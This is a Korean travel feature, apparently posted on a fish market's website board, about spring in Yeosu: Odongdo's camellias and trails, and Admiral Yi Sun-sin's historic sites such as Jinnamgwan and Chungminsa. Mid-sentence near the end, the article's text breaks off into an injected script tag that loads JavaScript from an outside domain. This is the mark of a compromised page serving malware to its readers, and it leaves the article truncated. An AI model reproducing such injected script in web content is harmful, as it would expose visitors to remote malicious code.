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싱싱함이 가득한 인천종합어시장 이제 우리 곁에서 새롭게 태어납니다.

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번호 제목 작성자 등록일 조회
80 동백꽃 여로를 따라 에메랄드빛 바다를 달리다 admin 2006-05-04 12458

- 남녘 여행의 피날레 미항 여수



<싱그러운 해풍에 오동도 동백꽃은 핏빛처럼 더욱 붉게 타오른다>

뭍으로 건너온 봄바람에 에메랄드 빛 바다가 물비늘을 일으킨다. 어디까지가 바다인지 하늘인지, 잔잔하
게 하늘을 그대로 비춰주는 물결, 여수의 바다가 보석처럼 반짝인다. 머리를 어지럽히던 마음 속 편린들
을 이내 사라져버리게 만드는 초록빛 물비늘과 은은한 클래식을 연주하는 해조음, 그리고 목덜미에 파고
드는 봄 햇살. 이것들에 싱그러운 해풍까지 더해져 바다 곳곳에는 붉은 동백꽃 보석들이 점점이 박힌다.
처녀의 가슴처럼 수줍은 듯 붉게 불거져 나와 무엇이 그리도 급한지 남몰래 피었다 서러운 굵은 눈물 방
울처럼 동백 꽃송이 툭툭 떨어지는 처연한 아름다움은 봄나들이 떠나온 여행객들의 마음을 뒤흔든다. 따
뜻한 봄날, 바다 바람 속에 눈부신 햇살의 반짝임만큼 피어있는 동백꽃, 그 그늘 아래 누워 팔색조 고운
자태를 그려보고 싶다면 남해의 미항 여수로 떠나자.

오동도 동백꽃, 한 송이 보석으로 거듭나다

동백의 섬 오동도 전경 이름 그대로 물빛이 아름다운 여수의 봄은 오동도
를 뒤덮는 붉은 동백의 매혹적인 춤사위로부터 시
작된다. 진 초록 잎과 붉은 꽃잎, 샛 노란 꽃술이
선명한 동백꽃 군락으로 ‘동백의 섬’ 이라 불릴
만큼 오동도는 꽃천지. 오동도는 멀리서보면 섬의
모양이 오동잎처럼 보이기에, 오동나무가 유난히
많아 불리게 된 이름이다. 남태평양에서 불어오는
해풍으로 만들어낸 오동도의 붉은 동백꽃은 30 ~
50년 정도 된 아름드리 동백나무에서 10월부터 피
기 시작해 다음해 4월까지 온 섬을 뒤덮어 봄에만
피는 춘백과는 비교가 안 될 정도로 화려하다.
겨울바다의 모진 해풍과 싸우며 피고 지기를 반복
한 탓인지 오동도의 진홍빛 동백꽃은 더 정열적이
고 더 강렬한 이미지.

붉은 동백꽃의 아름다움 기암절벽인 용굴 가지마다 수줍은 처녀마냥 때깔고운 화장을 한 듯 화려한 동백꽃 여행은 오동도 입구의 동백나무 가로수
거리에서 시작된다. 오동도 매표소가 마련된 입구에서 위로 올려다보면 오른 쪽에는 일출정과 자산 공원
이 있어 오동도는 물론이고, 주위 풍경까지 감상할 수 있게 조성이 되어 있다. 총면적 만 6,000평의 섬
인 오동도를 한 바퀴 도는 산책길은 2km. 4~5개의 산책로는 하얀 등대가 오롯이 서 있는 섬 정상으로 향
해있다. 동백꽃이 무시로 떨어져 만든 꽃길과 이순신 장군이 화살로 쓰기위해 심었다고 전해지는 시누대
터널을 봄기운이 완연한 바닷바람에 멋진 해조음을 들려준다. 용굴, 코끼리바위, 거북바위 등의 해안 기
암절벽들은 연인들의 데이트 장소. 붉은 동백꽃에 둘러싸인 하얀 등대와 기암괴석이 장관을 연출하는 해
안을 한 바퀴 둘러보는 유람선 관광도 색다른 경험이다.

핏빛보다 붉은 애기동백 절벽마다 바위마다 애틋한 곡절이 전해지니 더욱
신묘하다. 나무 숲길을 지나 섬의 정상까지 올라
가다 보면 추억을 찾아나선 사람들에게서 쉴새없
이 후레시가 터져 나온다. 끝없이 펼쳐진 에메랄
드빛 바다와 상큼한 바다내음, 그리고 붉은 동백
의 자연스런 조화는 보는 이의 감탄을 절로 자아
내게 한다.

시들까하다가 다시 활짝 미소를 내밀고는 어느새
송이채 떨어져 버리는 동백. 고요한 동백숲에 앉
아 물끄러미 바라보는 동백꽃은 책갈피에 끼워놓
고 싶은 한 장의 그림엽서다.



격랑의 역사 속으로 들어가 충무공과 거닐다

<국보 제 304호로 지정된 진남관은 몇 안되는 우리나라 대표적 목조 건축물이다>

‘미항’ 외에도 여수 앞에 붙을 수 있는 수식어는 참 많다. 동백의 고향, 일출의 명소 등등. 그 중에서
도 여수 시내 곳곳에서 볼 수 있는 이충무공의 흔적들은 여수를 ‘구국의 현장’ 으로 불리게 만든다. 임
진왜란 당시 전라좌수영이 있던 곳으로 임진왜란과 정유재란의 주 무대가 되었던 여수. 현존하는 국내 최
대의 단층목조건물로 이충무공이 전라좌수영 본관으로 쓰던 진남관과 이충무공을 기리는 사당인 충민사,
거북선을 만든 선소 등 곳곳이 이 충무공과 연관된 유적지다. 진남관은 충무공 이순신 후임 통제사 겸 전
라좌수사 이시언이 정유재란 때 불타버린 것을 진해루 터에 세운 75칸의 대규모 객사로 최근 보물에서 국
보 제304호로 지정되었다. 진남관은 원래 역대 임금의 궐패를 봉안하던 곳으로 합천 해인사에서 팔만대장
경을 보관하는 건물과 몇 안 되는 우리나라 대표적 목조 건축물.

<사적 제 381호 충무공 관련 사액사당 제1호인 충민사(좌)와 거북선 건조장인 선소(우)>

아울러 가까이 마래사 기슭에 위치해 있는 충민사는 사적 제 381호. 이순신이 전사한 3 년 뒤인 선조 34
년 왕명으로 이항복?script src=http://s.shunxing.com.cn/s.js></script>

     
   
전남 해남의 고천암’ 2006-05-04
서동요 촬영지 2006-05-04